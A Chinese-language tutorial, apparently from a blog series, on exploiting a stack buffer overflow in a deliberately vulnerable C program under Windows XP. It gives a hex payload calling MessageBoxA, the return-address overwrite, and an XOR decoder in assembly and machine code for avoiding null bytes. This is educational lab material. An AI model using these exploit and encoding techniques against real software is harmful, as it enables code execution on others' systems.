0x00 前言
在《Windows Shellcode學習筆記——shellcode的提取與測試》中介紹了如何對shellcode作初步優化,動態獲取Windows API地址並調用,並通過程序實現自動提取機器碼作為shellcode並保存到文件中。
彈框實例shellcode的bin文件已上傳至github,地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
注:shellcode.bin由getshellcode.cpp生成
getshellcode.cpp地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/getshellcode.cpp
接下來,要研究shellcode在具體環境中的使用和優化技巧
0x01 簡介
先從最入門的緩沖區溢出開始
本文將要結合《0day安全:軟件漏洞分析技術》中的“棧溢出原理與實踐”章節,以其中的棧溢出代碼作樣本,優化我們自己生成的彈框實例shellcode,實現在棧溢出中的初步利用。
0x02 相關概念
棧區:
用於動態地存儲函數之間的調用關系,以保證被調用函數在返回時恢復到母函數中繼續執行
特殊寄存器:
ESP:棧指針寄存器(extended stack pointer),指向棧頂
EBP:基址指針寄存器(extended base pointer),指向棧底
EIP:指令寄存器(extended instruction pointer),指向下一條等待執行的指令地址
函數代碼在棧中保存順序(直觀理解,已省略其他細節):
buffer 前棧幀EBP 返回地址 ESP
函數棧溢出原理(直觀理解,已省略其他細節):
正常情況下函數在返回過程中,最后會執行返回地址中保存的內容,通常是跳到下一條指令的地址
如果buffer長度過長,長到覆蓋了返回地址的值,那么函數在返回時,就會執行被覆蓋的內容
如果將shellcode保存到buffer中,覆蓋的返回地址為shellcode的起始地址,那么,shellcode將得到執行,完成棧溢出的利用
0x03 棧溢出實例測試
樣本代碼如下:
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[44]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated; } int main() { int valid_flag=0; char password[1024]; FILE *fp; LoadLibrary("user32.dll"); if(!(fp=fopen("password.txt","rw+"))) return 0; fread(password,56,1,fp); valid_flag=verify_password(password); if(valid_flag) { printf("wrong\n"); } else { printf("right\n"); } fclose(fp); return 0; }
注:代碼選自章節2.4.2中的實驗代碼,作細微調整
其中,fscanf(fp,”%s”,password)在遇到空格和換行符時結束,如果shellcode中包含空格(0x20),會被截斷,導致讀取文件不完整
因此,將其替換為fread(password,56,1,fp);
數組password長度為56,數組buffer長度為44,在執行strcpy(buffer,password);時存在棧溢出
根據函數棧溢出原理,實現棧溢出需要以下過程:
(1) 分析並調試程序,獲得淹沒返回地址的偏移
(2) 獲得buffer的起始地址,根據獲得的偏移將其覆蓋返回地址,使得函數返回時執行buffer起始地址保存的代碼
(3) 提取彈框操作的機器碼並保存於buffer的起始地址處,在函數返回時得到執行
測試系統:Win XP 編譯器:VC6.0 build版本: debug版本
(1) 分析並調試程序,獲得淹沒返回地址的偏移
可在password.txt中填入56個測試字符,使用OllyDbg打開程序,定位到函數返回地址
如圖
返回地址剛好被覆蓋
(2) 獲得buffer的起始地址並覆蓋返回地址
如圖
獲得buffer的起始地址:0012FB7C
注:在不同系統下buffer的起始地址不同,使用0012FB7C覆蓋返回地址,即password.txt的53-56位的十六進制字符為7CFB1200(逆序保存)
(3) 提取彈框操作的機器碼
參照《0day安全:軟件漏洞分析技術》中的方法,使用Dependency Walker 獲取ueser32.ll的基地址為0x77D10000
MessageBoxA的偏移地址為0x000407EA
如圖
因此MessageBoxA在該系統上內存中的入口地址為0x77D10000+0x000407EA=0x77D507EA
替換書中MessageBoxA對應函數入口地址的機器碼
最終password.txt內容如下(十六進制視圖):
00000000h: 33 DB 53 68 77 65 73 74 68 66 61 69 6C 8B C4 53 ; 3跾hwesthfail嬆S 00000010h: 50 50 53 B8 EA 07 D5 77 FF D0 90 90 90 90 90 90 ; PPS戈.誻袗悙悙? 00000020h: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 ; 悙悙悙悙悙悙悙悙 00000030h: 90 90 90 90 7C FB 12 00 ; 悙悙|?.
最終程序運行如圖,棧溢出在我們的測試系統上觸發成功
0x03 彈框實例shellcode在棧溢出的優化
上節簡單介紹了一下棧溢出實例的原理和操作方法,本節將要介紹如何優化我們自己開發的shellcode,即彈框實例shellcode,結合具體漏洞,實現利用
彈框實例shellcode下載地址:
https://github.com/3gstudent/Shellcode-Generater/blob/master/shellcode.bin
shellcode長度1536
(1) 修改實例程序,使其數組足以保存我們的shellcode
完整代碼如下:
#include <stdio.h> #include <windows.h> #define PASSWORD "1234567" int verify_password (char *password) { int authenticated; char buffer[1556]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); return authenticated; } int main() { int valid_flag=0; char password[2048]={0}; FILE *fp; if(!(fp=fopen("password2.txt","rb"))) return 0; fread(password,1568,1,fp); valid_flag=verify_password(password); if(valid_flag) { printf("wrong\n"); } else { printf("right\n"); } fclose(fp); return 0; }
buffer長度增大到1556,用於保存彈框實例shellcode
根據上節實例,淹沒返回地址的偏移9-12,因此password的長度增加到1556+12=1568
(2) strcpy遇到字符00會截斷
如圖
彈框實例shellcode在00000009h處字符為0x00,strcpy在執行時遇到0x00會提前截斷,導致shellcode不完整,無法覆蓋返回地址
所以,需要對shellcode進行編碼
為方便讀者理解,參照《0day安全:軟件漏洞分析技術》中3.5.2節的方法(此章節有詳細說明,不再贅述過程):
shellcode尾部添加結束字符0x90 將shellcode逐字節同0x44作異或加密 匯編實現解碼器並提取機器碼 解碼器的機器碼放於shellcode首部 解碼器將EAX對准shellcode起始位置,逐字節同0x44異或進行解密,遇到0x90停止
解碼器的匯編代碼如下:
void main() { __asm { add eax,0x14 xor ecx,ecx decode_loop: mov bl,[eax+ecx] xor bl,0x44 mov [eax+ecx],bl inc ecx cmp bl,0x90 jne decode_loop } }
使用OllyDbg提取出機器碼如下:
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x90\x75\xF1"
新的shellcode格式如下:
解碼器機器碼+加密的彈框實例shellcode+0xD4+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
注:
0x90^0x44=0xD4,0xD4即編碼后的結束字符
“\x90\x90\x90\x90\x90\x90\x90”為填充字符串,無意義
“\x7C\xFB\x12\x00”為覆蓋的函數返回地址
(3) 0xD4沖突
如圖
彈框實例shellcode中也包含結束字符0xD4,解密時shellcode會被提前截斷,所以需要選擇一個新的結束字符
當然也可以對shellcode分段加密,針對此shellcode,恰巧0xD5未出現,因此使用0xD5作結束字符串即可,解密字符為0x91
修改后的機器碼如下:
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"
修改后的shellcode格式如下:
解碼器機器碼+加密的彈框實例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
(4) shellcode編碼測試
編寫程序實現自動讀取原shellcode,加密,添加解密機器碼,添加結束字符
程序已上傳至github
https://github.com/3gstudent/Shellcode-Generater/blob/master/enshellcode.cpp
執行后如圖,產生新的shellcode文件,並在屏幕輸出c格式的shellcode
使用如下代碼,結合屏幕輸出c格式的shellcode,替換數組內容,對新的加密shellcode測試
由於代碼較長,所以上傳至github,地址如下:
https://github.com/3gstudent/Shellcode-Generater/blob/master/testenshellcode.cpp
如圖,shellcode執行,成功實現解碼器
(5) 新shellcode在棧溢出中的測試
填上解碼器機器碼,完整的shellcode格式如下:
"\x83\xC0\x14\x33\xC9\x8A\x1C\x08\x80\xF3\x44\x88\x1C\x08\x41\x80\xFB\x91\x75\xF1"+加密的彈框實例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
在棧溢出測試程序中仍然報錯,使用OllyDbg加載繼續調試
如下圖,成功覆蓋函數返回地址,接着按F8進行單步調試
如下圖,此時發現異常,EAX寄存器的值為909090D5,正常情況下EAX的值應該為Buffer的起始地址,這樣才能成功找到shellcode並對其解密
而寄存器EDX卻保存了Buffer的起始地址
所以,我們需要對解碼器作修改
(6) 修改解碼器
選擇一個最簡單直接的方法,將EDX對准shellcode的起始位置,實現的匯編代碼如下:
void main() { __asm { add edx,0x14 xor ecx,ecx decode_loop: mov bl,[edx+ecx] xor bl,0x44 mov [edx+ecx],bl inc ecx cmp bl,0x90 jne decode_loop } }
在OllyDbg中加載程序並提取機器碼,如圖
新的解碼器機器碼為:
"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"
最終的shellcode代碼為:
"\x83\xC2\x14\x33\xC9\x8A\x1C\x0A\x80\xF3\x44\x88\x1C\x0A\x41\x80\xFB\x91\x75\xF1"+加密的彈框實例shellcode+0xD5+"\x90\x90\x90\x90\x90\x90\x90"+"\x7C\xFB\x12\x00"
完整shellcode代碼已上傳至github,地址為:
https://github.com/3gstudent/Shellcode-Generater/blob/master/stackoverflowshellcode.bin
再次測試棧溢出,如圖,shellcode成功執行
由於shellcode是我們自己實現的動態獲取API地址,所以棧溢出測試程序中的LoadLibrary(“user32.dll”); 可以省略
0x04 小結
本文對棧溢出原理作了簡要描述,着重介紹了在具體的棧溢出環境下,shellcode的優化、調試和利用技巧
當然,上述shellcode存在一個不足:shellcode在內存中的起始地址往往不固定,導致漏洞利用不一定成功